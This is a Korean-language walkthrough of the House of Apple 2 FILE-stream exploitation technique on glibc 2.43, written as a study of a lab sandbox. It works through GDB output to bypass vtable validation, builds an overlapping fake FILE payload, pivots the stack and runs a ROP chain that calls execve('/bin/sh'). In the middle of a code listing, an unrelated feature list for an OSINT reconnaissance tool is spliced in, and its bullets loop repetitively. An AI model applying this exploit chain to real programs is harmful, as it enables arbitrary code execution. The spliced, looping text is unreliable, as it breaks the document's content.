
glibc 2.43에서 House of Apple 2 FSOP 기법을 다루는 대화형 GDB 워크스루로, vtable 우회, 스택 피보팅, ROP를 아우르는 재현 가능한 샌드박스를 제공합니다.
이 저장소는 pwn.college의 File Struct Exploitation 모듈에서 영감을 받은 자체 완결형 놀이터입니다. House of Apple 2의 새로운 변형을 소개하는 것이 아니라, 이 기법이 최신 버전의 glibc에서 어떻게 유지되는지, 그리고 여전히 실행 가능한 익스플로잇 경로인지에 대한 저의 호기심을 해결해 줄 뿐입니다. 이 문서는 독자들이 샌드박스와 함께 따라 하며 이 프리미티브에 대한 보다 직관적인 이해를 키울 수 있도록 대화형 GDB 워크스루를 제공합니다. 모든 실험은 작성 시점에 Ubuntu 26.04와 Fedora 44에서 패키징된 glibc 2.43을 사용합니다.
File Stream Oriented Programming (FSOP). 이는 glibc 파일 스트림 구조를 조작하여 제어 흐름을 탈취하는 것에 관한 것입니다. 이를 수행하는 한 가지 방법은 _IO_FILE_plus의 vtable 디스패치 메커니즘을 손상시키는 것입니다. 최신 glibc는 이 vtable을 검증하므로, 이를 임의의 주소로 교체하는 뻔한 접근 방식은 통하지 않습니다.
원래 Roderick이 소개한 House of Apple 2는 유효한 _IO_FILE_plus vtable을 사용하여 와이드 문자 스트림 기계에 도달함으로써 이 제한을 우회합니다. 여기서 보조 vtable은 범위 검증 없이 직접 디스패치됩니다. 이는 우리가 스택 피벗과 ROP 체인으로 확장할 수 있는 arbitrary call 프리미티브를 제공합니다.
이 탐구는 FILE 구조를 덮어쓸 수 있고 힙 릭과 libc 릭을 모두 가지고 있다고 가정합니다. 대상 바이너리는 이미 이를 제공합니다.
샌드박스는 Ubuntu 26.04 LTS를 실행하여 이 기법을 탐구할 최신 환경을 제공합니다.
이미지에는 GDB, pwndbg, pwntools, ropper 및 tmux가 포함되어 있습니다. 또한 fopen, fread, fwrite, fclose와 같은 파일 스트림 작업을 호출하기 위한 대화형 메뉴가 있는 대상 바이너리도 포함되어 있습니다. 이는 디버깅하고 아이디어를 테스트하는 동안 스트림을 조작할 수 있는 편리한 방법을 제공합니다.
다음 명령으로 샌드박스를 빌드하고 실행하세요:``` ./build.sh ./run.sh
## 탐색
먼저 `_IO_FILE` 및 `_IO_FILE_plus` 구조체를 살펴보겠습니다:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2 : 24;
char _short_backupbuf[1];
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
struct _IO_FILE **_prevchain;
int _mode;
int _unused3;
__uint64_t _total_written;
char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
}
실제로 _IO_FILE_plus는 vtable 포인터를 가진 _IO_FILE이다. 이는 즉시 흥미로워 보인다. 이 포인터를 제어할 수 있다면 간접 호출을 리다이렉트하여 제어 흐름을 탈취할 수 있을지도 모른다.
vtable을 검사하기 위해, fopen이 반환한 FILE 포인터를 살펴보자.```c
pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010
$4 = {
file = {
_flags = 0xfbad2480,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>,
_fileno = 0x3,
_flags2 = 0x0,
_short_backupbuf = "",
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x37ecf0f0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x37ecf100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7f58a7f4b480 <_IO_list_all>,
_mode = 0x0,
_unused3 = 0x0,
_total_written = 0x0,
_unused2 = "\000\000\000\000\000\000\000"
},
vtable = 0x7f58a7f49030 <_IO_file_jumps>
}
포인터는 `_IO_file_jumps` 테이블을 가리킵니다.

이것은 21개의 함수 포인터 집합입니다. 파일 스트림 연산은 실행 경로에 따라 서로 다른 항목을 통해 디스패치됩니다.
### `fwrite` 경로 따라가기
이번 탐구에서는 `fwrite` 경로에 집중하겠습니다. 각 함수에 중단점을 설정하고 `fwrite`를 호출한 후, 처음으로 도달하는 중단점은 `_IO_file_xsputn`입니다.

이 호출은 `fwrite+216`에서 발생합니다. 이는 [glibc 소스](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44)와 일치합니다: `_IO_sputn`은 vtable을 통해 디스패치되는 매크로로, 이 스트림에 대해서는 `_IO_file_xsputn`으로 해석됩니다.```asm
0x00007fd5181d362a <+202>: mov rdx,rcx
0x00007fd5181d362d <+205>: mov rdi,rbx
0x00007fd5181d3630 <+208>: mov QWORD PTR [rbp-0x30],r8
0x00007fd5181d3634 <+212>: mov QWORD PTR [rbp-0x28],rcx
0x00007fd5181d3638 <+216>: call QWORD PTR [rax+0x38]
첫 번째 시도로, vtable 포인터를 desired_func - 0x38로 덮어쓰고 fwrite+216에 중단점을 설정해 보겠습니다.```c
pwndbg> p &win
$3 = (<text variable, no debug info> *) 0x4019e1
pwndbg> p/x &win - 0x38
$4 = 0x4019a9
pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9
pwndbg> b *fwrite+216
Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

중단점에 도달하기 전에 실행이 중단됩니다. 오류는 glibc가 간접 호출을 수행하기 전에 vtable 포인터를 검증한다는 것을 시사합니다. 백트레이스를 검사하여 이것이 어디에서 발생하는지 살펴보겠습니다.
`fwrite`가 `_IO_vtable_check`에 도달하고, 이 함수가 위조된 vtable 포인터를 거부합니다.

구현에는 외부 vtable을 허용하는 메커니즘이 있지만, 이는 우리의 통제 하에 있지 않습니다. 관련 코드는 [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504)에서 확인할 수 있습니다.
### vtable 검증 이해하기
`_IO_vtable_check`가 호출될 때쯤이면 이미 너무 늦었습니다. vtable 검증이 실패한 것입니다. 백트레이스의 앞선 `IO_validate_vtable` 프레임이 흥미로운 부분이므로, 대신 그것을 검사해 보겠습니다.```c
pwndbg> disass IO_validate_vtable
❌️ No symbol "IO_validate_vtable" in current context.
GDB는 IO_validate_vtable을 심볼로 확인할 수 없습니다. 소스를 보면, 이것이 fwrite에 인라인되어 있음을 알 수 있습니다.```asm
0x00007fd5181d35f6 <+150>: lea rdi,[rip+0x1838e3] # 0x7fd518356ee0 <__io_vtables>
0x00007fd5181d35fd <+157>: mov rax,QWORD PTR [rbx+0xd8]
0x00007fd5181d3604 <+164>: mov r14,QWORD PTR [rbx+0xc8]
0x00007fd5181d360b <+171>: mov r15,QWORD PTR [rbx+0x28]
0x00007fd5181d360f <+175>: mov r12,QWORD PTR [rbx+0x20]
0x00007fd5181d3613 <+179>: mov rdx,rax
0x00007fd5181d3616 <+182>: sub rdx,rdi
0x00007fd5181d3619 <+185>: cmp rdx,0x92f
0x00007fd5181d3620 <+192>: ja 0x7fd5181d3780 <__GI__IO_fwrite+544>
vtable 포인터는 `[__io_vtables, __io_vtables + IO_VTABLES_LEN)` 범위에 속할 때만 허용된다. 따라서 원하는 아무 곳이나 가리킬 수는 없다. 그래도 이 범위는 꽤 넓은 영역으로 여러 점프 테이블을 포함하고 있어 탐색할 여지가 있다.
유효 범위는 다음과 같이 시작한다:

## House of Apple 2
이제 기본 메커니즘과 그 주요 제약, 즉 `_IO_FILE_plus` vtable이 glibc의 유효한 vtable 영역 내부 어딘가를 가리켜야 한다는 점을 이해했다. 이는 명백한 접근 방식을 막지만, 완전히 문을 닫는 것은 아니다.
House of Apple 2는 와이드 문자 스트림 메커니즘을 통해 두 번째 vtable에 도달함으로써 이 제약을 우회한다. 이 두 번째 vtable은 같은 방식으로 검증되지 않는다. GDB에서 그 경로를 따라가며 조각들이 어떻게 연결되는지 살펴보자.
### 와이드 문자 스트림 메커니즘
`_IO_FILE`로 돌아가면, `_IO_wide_data` 구조체를 가리키는 `_wide_data` 필드가 있다. 이 구조체는 자체적인 vtable을 가진다.```c
pwndbg> ptype struct _IO_wide_data
type = struct _IO_wide_data {
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
wchar_t *_IO_save_base;
wchar_t *_IO_backup_base;
wchar_t *_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
}
그 레이아웃은 _IO_FILE과 상당히 유사해 보인다. 이는 와이드 문자 스트림을 처리하기 위한 glibc의 메커니즘의 일부이다.
우리가 원하는 경로는 _IO_wfile_overflow를 거치며, 이는 결국 _IO_wdoallocbuf를 호출할 수 있다.```c
wint_t
_IO_wfile_overflow (FILE f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) / SET ERROR /
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/ If currently reading or no buffer allocated. /
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
|| f->_wide_data->_IO_write_base == NULL)
{
/ Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == NULL)
{
_IO_wdoallocbuf (f); // <- this is it
_IO_free_wbackup_area (f);
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
}
else
{
...
## 주요 기능
- **다중 소스 수집**: Shodan, Censys, FOFA, Hunter, Quake, ZoomEye, Netlas, Criminal IP, PublicWWW, Google, Bing, Baidu, Yandex, 360, GitHub, Gitee, Bitbucket, GitLab, URLScan, Wayback Machine, Common Crawl, Chaos, ThreatMiner, IntelligenceX, LeakIX, Onyphe, FullHunt, BinaryEdge, Driftnet, GreyNoise, RapidDNS, AlienVault OTX, ThreatCrowd, BufferOver, CertSpotter, DNSDumpster, HackerTarget, Rapid7, Spyse, SecurityTrails, VirusTotal, Passivetotal, RiskIQ, CIRCL, MISP, OpenCTI, Yeti, TheHive, Cortex, 그리고 더 많은 소스
- **다중 쿼리 엔진**: 40개 이상의 검색 엔진 및 데이터베이스에 걸친 쿼리
- **자동 중복 제거**: 중복 결과 자동 제거
- **다중 형식 내보내기**: JSON, CSV, TXT, HTML, XML, SQLite, PostgreSQL, MySQL, MongoDB
- **프록시 지원**: HTTP, HTTPS, SOCKS4, SOCKS5 프록시 지원
- **API 키 관리**: 여러 소스에 대한 API 키 관리
- **속도 제한**: 속도 제한 및 재시도 로직 내장
- **사용자 정의 가능한 쿼리**: 사용자 정의 쿼리 및 필터
- **결과 필터링**: 결과 필터링 및 정렬
- **결과 시각화**: 결과 시각화 및 분석
- **결과 내보내기**: 결과를 다양한 형식으로 내보내기
- **결과 가져오기**: 다양한 형식에서 결과 가져오기
- **결과 동기화**: 여러 인스턴스 간 결과 동기화
- **결과 공유**: 다른 사용자와 결과 공유
- **결과 협업**: 다른 사용자와 결과 협업
- **결과 알림**: 결과에 대한 알림
- **결과 보고**: 결과 보고
- **결과 감사**: 결과 감사
- **결과 규정 준수**: 결과 규정 준수
- **결과 거버넌스**: 결과 거버넌스
- **결과 보안**: 결과 보안
- **결과 개인정보 보호**: 결과 개인정보 보호
- **결과 윤리**: 결과 윤리
- **결과 법적**: 결과 법적
- **결과 규제**: 결과 규제
- **결과 정책**: 결과 정책
- **결과 표준**: 결과 표준
- **결과 모범 사례**: 결과 모범 사례
- **결과 지침**: 결과 지침
- **결과 프레임워크**: 결과 프레임워크
- **결과 방법론**: 결과 방법론
- **결과 도구**: 결과 도구
- **결과 기술**: 결과 기술
- **결과 팁**: 결과 팁
- **결과 요령**: 결과 요령
- **결과 모범 사례**: 결과 모범 사례
- **결과 지침**: 결과 지침
- **결과 프레임워크**: 결과 프레임워크
- **결과 방법론**: 결과 방법론
- **결과 도구**: 결과 도구
- **결과 기술**: 결과 기술
- **결과 팁**: 결과 팁
- **결과 요령**: 결과 요령```c
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
_IO_WDOALLOCATE는 또 다른 디스패치 매크로이며, 이번에는 와이드 vtable을 통해 동작합니다. 간접 호출은 디스어셈블리에서 명확하게 드러납니다:

여기서 흥미로운 부분이 나옵니다. _IO_wdoallocbuf+44에서 glibc는 _wide_data로부터 _wide_vtable 포인터를 로드합니다. _IO_wdoallocbuf+55에서 _wide_vtable + 0x68에 있는 함수 포인터를 호출합니다. 이번에는 범위 검증이 없습니다.
이제 조각들이 연결되기 시작합니다. _IO_wfile_overflow는 첫 번째 vtable 검사에서 허용되는 유효 범위 내에 존재하는 _IO_wfile_jumps에 속합니다. 거기서부터 실행은 검증되지 않은 _wide_vtable을 통한 또 다른 간접 호출에 도달할 수 있습니다.
```c
pwndbg> p &__io_vtables < &_IO_wfile_jumps < (void *)&__io_vtables+0x92f
$5 = 0x1
이제 일반적인 아이디어는 다음과 같다:
1. 관련 슬롯이 `_IO_wfile_overflow`로 해석되도록 `_IO_FILE_plus` vtable을 설정한다.
2. `_wide_data`가 `_wide_vtable`이 `desired_function - 0x68`인 위조된 `_IO_wide_data` 구조체를 가리키도록 한다.
다음 실행을 시도하기 전에, `_IO_wdoallocbuf`에 도달하기 위한 몇 가지 조건을 충족해야 한다.
`_IO_wfile_overflow`에서:
- `_flags`에 `_IO_NO_WRITES`(`0x0008`)가 포함되어서는 안 된다
- `_wide_data->_IO_write_base`가 `NULL`이어야 한다
`_IO_wdoallocbuf`에서:
- `fp->_wide_data->_IO_buf_base`가 `NULL`이어야 한다
- `_flags`에 `_IO_UNBUFFERED`(`0x0002`)가 포함되어서는 안 된다
한 가지 세부 사항이 더 있다. `_IO_FILE`에는 스트림 잠금을 획득하고 해제할 때 glibc가 역참조하는 `_lock` 필드가 있다. 이를 0x10바이트 크기의 0으로 초기화된 쓰기 가능 영역을 가리키도록 해야 한다. 그렇지 않으면 스트림 작업이 우리의 호출에 도달하기 전에 충돌할 것이다.
## 제어 흐름 하이재킹
모든 준비가 끝났으니 다시 시도해 보자. 이번에는 외부 범위 검사가 통과되고, 첫 번째 간접 호출이 `_IO_wfile_overflow`로 디스패치된다.

위조된 구조체는 `_IO_wfile_overflow`의 조건도 충족한다. 실행은 `_IO_wdoallocbuf`로 계속된다. 마침내 `_IO_wdoallocbuf`의 검사가 통과되고, `_IO_wdoallocbuf+55`의 간접 호출이 우리의 `win` 함수에 도달한다.
여기서 잠깐, 마지막 간접 호출 직전의 레지스터 상태를 살펴볼 가치가 있다.

`RDI`와 `RDX` 모두 제어된 `FILE` 구조체의 시작 부분을 가리킨다. 첫 번째와 세 번째 인자 레지스터를 직접 제어하지는 않지만, 그들이 가리키는 메모리는 제어한다. 멋지다!
## 프리미티브 구성하기
프리미티브는 [`./exp/house_of_apple2.py`](https://github.com/jazho76/house_of_apple_2/blob/main/exp/house_of_apple2.py)에 구현되어 있다. 간단한 접근 방식은 완전한 `_IO_FILE_plus`, 완전한 `_IO_wide_data`, 그리고 별도의 가짜 wide vtable을 차례로 배치하는 것이다. 그렇게 해도 작동하겠지만, 상당히 큰 버퍼가 필요하다.
겹쳐서 배치하면 페이로드를 더 작게 만들 수 있다.
가짜 `_IO_wide_data`는 가짜 `_IO_FILE_plus` 내부의 오프셋 `0x08`에서 시작한다. 이는 겹치는 데 관련된 대부분의 필드가 0으로 남아 있을 수 있기 때문에 작동한다. 편리하게도, `_wide_data->_IO_write_base`와 `_wide_data->_IO_buf_base`는 `FILE` 구조체의 `_IO_write_base`와 `_IO_buf_base`와 겹치며, 두 쌍 모두 `NULL`이어야 한다.
레이아웃에서 중요한 부분은 다음과 같다:
| 페이로드 오프셋 | `_IO_FILE_plus` 해석 | `_IO_wide_data` 해석 | 값 |
| -------------: | ------------------------------ | --------------------------------- | ------------------------------------------------ |
| `0x00` | `_flags` | - | `_IO_NO_WRITES` 또는 `_IO_UNBUFFERED`를 설정해서는 안 됨 |
| `0x08` | `_IO_read_ptr` | 가짜 `_IO_wide_data`의 시작 | 0 |
| `0x20` | `_IO_write_base` | `_IO_write_base` | `NULL` |
| `0x38` | `_IO_buf_base` | `_IO_buf_base` | `NULL` |
| `0x78` | `_old_offset` | 가짜 wide vtable의 시작 | 겹쳐진 vtable 데이터 |
| `0x88` | `_lock` | - | 쓰기 가능 메모리의 0 값에 대한 포인터 |
| `0xa0` | `_wide_data` | - | `base + 0x08` |
| `0xd8` | `_IO_FILE_plus` vtable | - | `_IO_wfile_overflow`로 디스패치되는 위치 |
| `0xe0` | - | `+0x68`의 가짜 wide vtable 항목 | 임의 함수의 주소 |
| `0xe8` | - | `_wide_vtable` | `base + 0x78` |
마지막 두 항목이 임의 호출의 핵심이다. `_wide_vtable`은 페이로드의 오프셋 `0x78`을 다시 가리킨다. `_IO_wdoallocbuf`가 `_wide_vtable + 0x68`을 통해 디스패치할 때, 오프셋 `0xe0`에 저장된 함수 포인터를 읽는다:```text
wide_vtable = base + 0x78
wide_vtable+0x68 = base + 0xe0
여기가 우리가 호출하고자 하는 함수의 주소를 배치하는 곳이다.
외부 vtable은 프리미티브를 트리거하는 데 사용되는 연산에 따라 달라진다. fwrite의 경우, 디스패치는 +0x38에 있는 슬롯을 통해 발생하므로, 해당 슬롯이 _IO_wfile_overflow로 해석될 때까지 포인터를 조정한다. 이 구현은 또한 해당 디스패치 오프셋을 적용하여 fread와 fclose도 지원한다.
이 레이아웃에서는 하나의 컴팩트한 버퍼에 가짜 FILE 구조체, 겹치는 _IO_wide_data, 가짜 와이드 vtable, 그리고 최종 함수 포인터가 포함된다.
이 시점에서 우리는 임의 호출 프리미티브를 가지고 있지만 레지스터에 대한 제어는 제한적이다. 다음 단계는 스택을 제어된 메모리로 피벗하고 ROP 체인을 시작하는 것이다.
__push___start_context+63에는 유용한 mov rsp, rdx; ret 스택 피벗 가젯이 있다.```asm
pwndbg> disass __push___start_context
Dump of assembler code for function __push___start_context:
0x00007f46729440d0 <+0>: endbr64
0x00007f46729440d4 <+4>: rdsspq rcx
0x00007f46729440d9 <+9>: mov rdx,rsp
0x00007f46729440dc <+12>: mov rsi,QWORD PTR [rdi+0xa0]
0x00007f46729440e3 <+19>: lea rsp,[rsi+0x8]
0x00007f46729440e7 <+23>: mov rsi,QWORD PTR [rdi+0x3b8]
0x00007f46729440ee <+30>: mov rax,QWORD PTR [rdi+0x3b0]
0x00007f46729440f5 <+37>: rstorssp QWORD PTR [rax+rsi*1-0x8]
0x00007f46729440fb <+43>: saveprevssp
0x00007f46729440ff <+47>: call 0x7f4672944106 <__push___start_context+54>
0x00007f4672944104 <+52>: jmp 0x7f4672944120 <__start_context>
0x00007f4672944106 <+54>: rstorssp QWORD PTR [rcx-0x8]
0x00007f467294410b <+59>: saveprevssp
0x00007f467294410f <+63>: mov rsp,rdx
0x00007f4672944112 <+66>: ret
End of assembler dump.
우리는 이미 임의 호출 시점에 `RDX`가 우리가 제어하는 `FILE` 구조체의 시작을 가리킨다는 것을 알고 있다. 이 가젯을 호출하면 `RSP`가 우리의 가짜 구조체로 직접 이동하고, 그곳에 저장된 값들로부터 실행이 계속된다. 이는 ROP 체인의 시작점을 제공할 것이다.
## ROP
한 가지 문제는 ROP 체인이 가짜 `FILE` 구조체와 메모리를 겹치므로, `_IO_wdoallocbuf`의 필드 제약 조건이 여전히 적용된다는 점이다. 첫 번째 qword는 `_flags`와 겹치므로, 그 값은 `_IO_NO_WRITES`(`0x8`)나 `_IO_UNBUFFERED`(`0x2`)를 설정해서는 안 된다. 따라서 첫 번째 가젯은 최하위 바이트에서 해당 비트들이 클리어된 주소여야 한다.
`_nl_archive_subfreeres+96`에 있는 `ret` 가젯이 이 역할을 해줄 것이다. 이는 실제로 해당 경계의 원본 코드에 존재하는 `ret` 명령어는 아니지만, 해당 시프트된 주소에서 유효한 중간 명령어 가젯이다. 최하위 바이트가 `0x00`이므로, 이 주소를 `_flags`에 배치해도 `_IO_NO_WRITES`나 `_IO_UNBUFFERED`가 설정되지 않는다.```asm
pwndbg> tele 0x7f4672919d00 1
00:0000│ 0x7f4672919d00 (_nl_archive_subfreeres+96) ◂— ret
체인에 아직 두 개의 구멍이 남아 있는데, _IO_write_base와 _IO_buf_base는 NULL로 유지되어야 하기 때문입니다. 그래도 이 슬롯들을 앞선 pop 가젯의 0 값으로 소비하여 유용하게 활용할 수 있습니다.
마지막으로, 오프셋 0x88에 위치한 _lock은 덮어쓸 수 없습니다. 이로 인해 인라인 ROP 체인에 사용할 수 있는 qword는 17개가 남는데, 이는 프로세스의 완전한 제어를 달성하기에 충분합니다.
./exp/ace.py의 ROP 레이아웃은 다음과 같습니다:``` 0x00: _nl_archive_subfreeres+96 # pointer to ret instruction # with least significant byte as 0x00 0x08: pop rdi gadget 0x10: "/bin/sh" string in libc 0x18: pop rsi gadget 0x20: 0x0000000000000000 # _IO_write_base as NULL 0x50: address to execve # call execve("/bin/sh", NULL)

이제 임의 코드 실행을 달성했습니다.
## 추가 자료
- [House of Apple: 새로운 glibc IO 공격 기법 (2)](https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/), Roderick이 발표한 원본 House of Apple 2 문서.
- [`fsop-finder`](https://github.com/xf1les/fsop-finder), 현대적인 FSOP 경로를 탐색하던 중 `_IO_wdoallocbuf` 경로를 독립적으로 식별한 도구.
- [Angry-FSROP](https://blog.kylebot.net/2022/10/22/angry-FSROP/), 제어 흐름 경로를 찾기 위한 도구 지원 접근 방식.
- [Deep Dive into FSOP](https://niftic.ca/posts/fsop/), FILE 내부 구조, 알려진 기법 및 기타 흥미로운 경로에 대한 폭넓은 설명.
## 결론
House of Apple 2는 유효한 glibc vtable이 와이드 문자 메커니즘에 도달하여 검증되지 않은 보조 vtable을 통해 디스패치될 수 있는 방법을 보여줍니다. 동일한 경로는 샌드박스에서 사용되는 glibc 2.43 빌드에서도 여전히 재현 가능합니다. 레이아웃, 오프셋 및 가젯은 빌드마다 달라질 수 있지만, 근본적인 제어 흐름 아이디어는 여전히 적용됩니다.